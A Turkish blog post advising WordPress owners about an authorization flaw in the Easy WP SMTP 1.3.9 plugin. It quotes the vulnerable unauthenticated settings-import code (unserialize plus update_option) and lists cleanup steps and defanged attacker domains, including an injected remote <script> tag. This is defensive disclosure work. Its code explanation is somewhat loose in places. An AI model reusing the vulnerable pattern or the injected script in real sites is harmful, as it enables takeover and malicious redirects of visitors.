Popüler Aramalar:  TLS Nedir?  MyBB SSL Ayarları  MyBB 1.8 Linkleri Gizleme Eklentisi  Wordpress LiteSpeed Cache Ayarları  Wordpress Eklentisiz Breadcrumb  Yandex Webmaster
WordPress Easy WP SMTP Eklentisinde Önemli Güvenlik Açığı!

WordPress Easy WP SMTP Eklentisinde Önemli Güvenlik Açığı!

Geçtiğimiz hafta WordPress‘in en çok kullanılan mail işlemcisi eklentisi olan Easy WP SMTP‘nin yapmış olduğu bir güncelleme çok önemli bir güvenlik açığına neden oldu. WordPress’in paylaştığı verileri göre 300,000 site tarafından aktif olarak kullanılmakta olan bu eklentinin 1.3.9 sürümünde meydana gelen güvenlik açığı bir çok internet sitesini etkilemiştir.

Blog yazımda bahsedeceğim bu güvenlik açığı eklentinin 1.3.9 sürümünde mevcuttur ve acilen eklentiyi 1.3.9.1 sürümüne güncellemenizi şiddetle tavsiye ederim.Eğer ki eklentiyi henüz güncellemediyseniz saldırganlar aktif olarak bu güvenlik açığını kullanarak sitelere zarar vermektedirler. Eğer sizin sitenizde bu açıktan dolayı zarar görmüşse, blog yazımda o zararı nasıl gidereceğinizi, nasıl önlem alabileceğinizi anlatacağım. Bu güvenlik açığından henüz etkilenmediyseniz, eklentinizi mutlaka son sürüme güncelleyin.

Easy WP SMTP Eklentisinde ki Güvenlik Açığı

Easy WP SMTP eklentisi bildiğiniz üzere sitenizde mail işlemlerinin sorunsuz bir şekilde işlemesine olanak sağlayan bir eklentidir. Blogunuza yeni bir yorum geldi bunu size mail ile ulaştırıyor. Kullanıcınızın bir yorumunu onayladınız mı bu onay bilgisini kullanıcıya mail yoluyla iletiyor eklentin amacı bu. Bunları gerçekleştirebilmesi için bir takım yetkiler ve izinlere ihtiyaç duyuyor.

Gerekli yetkileri ve izinleri eklentiyi aktif ettiğiniz de kısmen vermiş oluyorsunuz ancak eklentinin ayarlarını yapılandırmanız lazım bunu yaptığınız da eklentiye bir takım verilerinizi görebilmeyi (örneğin; yorum yapan kullanıcının mail adresini), bu verileri okuma ve değiştirme yetkisini veriyorsunuz.

Eklentinin en son sürümünden önce ki sürüm olan 1.3.9’da işte bu yetkilendirme konusunda bir güvenlik açığı meydana geldi. Verileri okuma/alma ve ekleme gibi bir takım işlemleri yapan ve bunları belli yetkilendirme komutları gerçekleştiren ayarlarda yetkilendirme hatası yapıldı.

Yapılan bu hatadan dolayı yetkisi olmayan bir kişi/robot ayarlarınızı okuyabiliyor, değiştirebiliyor ve hatta yerine yenilerini ekleyebilir hale geldi. Bu sadece Easy WP SMTP eklentisi için geçerli değil WordPress admin panelinizde ki tüm eklentilere yapabilme potansiyeline sahip oldu.

Easy WP SMTP Eklentisinde Oluşan Güvenlik Açığı Nedir?

Güvenlik açığının temeli Easy WP SMTP eklentisinin 1.3.9 sürümünde revize edilen ekleme/çıkarma işlevlerini yerine getiren admin-init fonksiyonunda yapılan yetkilendirme hatasından kaynaklanıyor. Bu fonksiyon wp-admin/ klasöründe bulunan admin-ajax.php ve admin-post.php dosyalarıyla ilişkili olduğundan ötürü sadece eklentiyi etkilemiyor diğer eklenti ve WordPress dosyalarını da ekleme/çıkarma yapılmasına olanak sağlıyor.

Eklentinin 1.3.9 sürümünde revize edilen ve güvenlik açığının oluşmasını sağlayan kod satırı;

$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
  $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
  if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
      echo $err_msg;
      wp_die();
  }
  $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
  try {
      $in = unserialize( $in_raw );
      if ( empty( $in[ 'data' ] ) ) {
          echo $err_msg;
          wp_die();
      }
      if ( empty( $in[ 'checksum' ] ) ) {
          echo $err_msg;
          wp_die();
      }
      if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
          echo $err_msg;
          wp_die();
      }
      $data = unserialize( $in[ 'data' ] );
      foreach ( $data as $key => $value ) {
          update_option( $key, $value );
      }
      set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
      $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
      wp_safe_redirect( $url );
exit;

Yukarıda ki kodu incelediğimiz de ilk satırda bulunan işlem bir POST metodur ve bu post metodu çalıştığında, yani bir gönderme işlemi yapıldığında swpsmtp_import_settings fonksiyonu devreye giriyor ve fonksiyonda ise bir filtreleme uygulanıyor bu filtreleme de döndürülen bilgi eğer 1 olursa bir içe aktarmanın gerçekleştiği varsayılıyor ve bir diğer fonksiyon olan swpsmtp_import_settings_file çalıştırılıyor, bu fonksiyona gelen istekler ise bir request (istek) paketi haline getirilip, update_option fonksiyonu çalıştırılıyor. Kısaca eklentinin ayarları güncelleme işlemi devreye giriyor.

İşte işin alengirli tarafı burada başlıyor. İlk olarak, ve en önemlisi, bu işlemler sırasında hiçbir yetkilendirme kontrolü yapılmıyor olması, bu nedenle bir saldırganın bu işlemi yetkisiz bir şekilde yapabilmesine olanak sağlanmış oluyor. Bu aşamayı geçen saldırgan WordPress’in ayarları güncellemek için kullandığı yöntem olan AJAX görevini devreye sokarak, yetkilendirme sıkıntısı olmadığı için güncelleme işlemini eklentinin dışına çıkartabilir yani WordPress daha ne olduğunu anlamadan sitede ki bir başka ayarı REST api üzerinden rahatlıkla geçirtip, ayarları güncelletebilir.

WordPress bütün ayar yapılarını veritabanında wp-options tablosunda tutmaktadır. Bu tabloda bir işlem yapabilmek için en az Editör yetkisine sahip olunması gerekiyor ancak oluşan bu güvenlik açığından dolayı saldırgan herhangi bir yetkiye ihtiyaç duymadan ve hatta wordpress admin panelinde oturum açmasına bile gerek kalmadan wp-options tablosuna erişebiliyor ve bu tabloda değişiklik yapabilecek konuma gelebiliyor. Aktif olarak şu anda saldırganların kullandığı açıkta tam da budur.

Bu Güvenlik Açığından Etkilendiysem Ne Yapmalıyım?

Güvenlik açığını olabildiğince sadeleştirip aktarmaya çalıştım. Eğer ki, bu güvenlik açığından etkilenmişseniz ve sitenizde bu açıktan dolayı oluşan bir aksama var ise bu aksalıkları aşağıda ki adımları takip ederek yerine getirebilirsiniz;

  1. Easy WP SMTP eklentisini acilen 1.3.9.1 sürümüne güncelleyin. En son sürüme.
  2. WordPress admin panelinizden Ayarlar -> Genel ayarlarınızı kontrol edin, herhangi bir değişiklik var mı yok mu gözden geçirin. (Email adresiniz, Üyelik ayarı, Yeni kullanıcıların varsayılan rolü gibi ayarlar.)
  3. Kullanıcılar sayfanızı kontrol edin. Tanımadığınız, bilmediğiniz kullanıcı hesapları var mı yok mu gözden geçirin eğer var ise bu üyelikleri kaldırın.
  4. WordPress’de kullanmış olduğunuz tüm hesapların şifrelerini sıfırlayın.
  5. WordPress veritabanı tablosu olan wp-options tablosunda yer alan wp_user_roles adlı sutunun kurcalanmadığından emin olun. Bunun en iyi yolu elinizde var ise eski zamanda ki veritabanı yedeğiniz ile aktif olan veritabanı tablonuzla karşılaştırmaktır. Ya da ücretsiz bir eklenti olan NinjaScanner kullanabilirsiniz.
  6. FTP’nizde bulunan tüm WordPress dosyalarınızı tarayın, orijinal WordPress dosyalarıyla tek tek karşılaştırın yabancı, bilinmeyen dosyalar var ise kaldırın. Saldırganlar bir backdoor (arka kapı) dosyası bırakmış olabilirler.
  7. SMTP Mail şifresi olarak kullandığınız şifreyi değiştirin, çünkü saldırganlar bu şifreyi almış olabilirler.

Son olarak:

Saldırganlar sitenizde bu güvenlik açığından faydalanarak ftp dosyalarınıza da erişim sağlayabiliyor ve değişiklik yapabiliyorlar ve rapor edilen bilgilere göre en çok site kök dizinin de bulunan ve tema dosyalarında bulunan index.php dosyasına aşağıda ki internet sitelerinin bağlantıları girilmiş;

  • setforconfigplease[.]com
  • getmyfreetraffic[.]com

Bu sitelere ait bir takım kod satırları da eklenmektedir bu kod satırı ise ;

<script type='text/javascript' async src='https://setforspecialdomain[.]com/in2herg42t2?type=in2&frm=scr&'></script>

Yukarı da ki sitelere ve kodlara benzer site ve kodlar var ise temanız da ve kök dizinde bulunan index.php dosyasından bu kodları ve siteleri kaldırın.

Bütün bu adımları sırasıyla yerine getirdiğinizde bu güvenlik açığından sitenizi arındırmış olacaksınız.

 Yazı Bağlantısını Kopyala & Paylaş

Benzer Yazılar

  • WordPress’te Birden Fazla Yazı Kısaltma Fonksiyonu Nasıl Yapılır?

    WordPress’te Birden Fazla Yazı Kısaltma Fonksiyonu Nasıl Yapılır?

    Wordpress'te varsayılan olarak blog yazıları 55 kelime kısaltılmakta. Wordpress'in yazı uzunluğu filtreleme fonksiyonu kullanılarak bu varsayılan değeri değiştirebiliyoruz ve bu değiştirdiğimiz de sadece bir yerde kullanabiliyoruz, peki ya birden fazla alanda farklı kelime uzunlukları kullanmak istiyorsak? Birden fazla yazı türüne sahip bir internet sitesi geliştiriyorsanız, her farklı alan için farklı…
  • WordPress Eklentisiz Yazı İçi Reklam Alanı Nasıl Oluşturulur?

    WordPress Eklentisiz Yazı İçi Reklam Alanı Nasıl Oluşturulur?

    Wordpress dünyanın en geniş eklenti kütüphanesine sahip yazılımıdır. Hemen hemen her şey için bir eklentisi mevcut, fakat Wordpress her ne kadar eklenti açısından zengin olsa da her şeyi eklentiyle yapmak sitenizin yayın yaptığı hosting ya da sunucuyu bir süre sonra yormaya başlayacaktır. Bende size bu blog yazımda eklenti kullanmadan yazı…
  • WordPress’te Önceki ve Sonraki Yazı Linkleri Nasıl Eklenir?

    WordPress’te Önceki ve Sonraki Yazı Linkleri Nasıl Eklenir?

    Yakın bir zamanda kişisel blog sitem için yeni bir tema tasarlayıp, kodladım. Bir önce ki temamı da kendim tasarlayıp, kodlamıştım ancak Wordpress'in 5.0 sürümü yayınlandıktan sonra yeni görsel editör olan Guttenberg'i kullanmaya başladım. Guttenberg editörüne gelen ara güncellemeler ile eski temam da uyumsuzluklar oluşmaya başladı örneğin yazdığım yazılar sayfa dışına…
  • WordPress Yorum Alanından URL / Website Kısmı Nasıl Kaldırılır?

    WordPress Yorum Alanından URL / Website Kısmı Nasıl Kaldırılır?

    Hepimiz biliyoruz ki Wordpress internette ki sitelerin %60'ının temelini oluşturan ve birçok yönden istediğiniz gibi özelleştirebileceğiniz, çok zengin eklenti kütüphanesine ve temalara sahip bir içerik yönetim sistemi. Birçok internet sitesinin temelini oluşturması sebebiyle birçok hacklink, anti-seo çalışması yapan birçok otomatik spam botlarını da kendine çekiyor. Bu blog yazımda sitenizi bir…
WordPress Easy WP SMTP Eklentisinde Önemli Güvenlik Açığı! için Yorum'da Bulun

Bu yazıya şimdiye kadar 4 Yorum yapılmıştır.

  • Yorum Sahibi
     Yanıtla
    Ahmets Ziyaretçi

    bilgilendirme için teşekkürler, eklentiyi otomatik olarak güncellenmişti benim ancak yine de kontrollerimi yaptım, sıkıntı yok gibi teşekkürler.

    • Yorum Sahibi
       Yanıtla
      Hüseyin Körbalta Yazar 

      Rica ederim 🙂

  • Yorum Sahibi
     Yanıtla
    Ali Özsüt Ziyaretçi

    Bir site üzerinden o siteye bağlı 15 farklı siteme bulaşmış. Hepsini tek tek düzeltmek günlerimi alacak. Teşekkürler paylaşım için.

    • Yorum Sahibi
       Yanıtla
      Hüseyin Körbalta Yazar 

      FTP dosyalarınızı da dikkatli şekilde kontrol edin, açık bir kapı bırakmış olabilir, bilmediğiniz,yabancı ve şifreli php dosyaları veya js dosyaları var ise derhal temizleyin. Geçmiş olsun, kolay gelsin.

Bir Cevap Yaz

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

 Lütfen, en az 15 karakterli bir yorum belirtiniz.

 Lütfen,isminizi belirtiniz.
 Lütfen, kullanmakta olduğunuz bir e-mail adresi giriniz.
 Yukarıda ki alanı işaretlemeniz zorunludur.Aksi takdirde yorumunuz gönderilemeyecektir.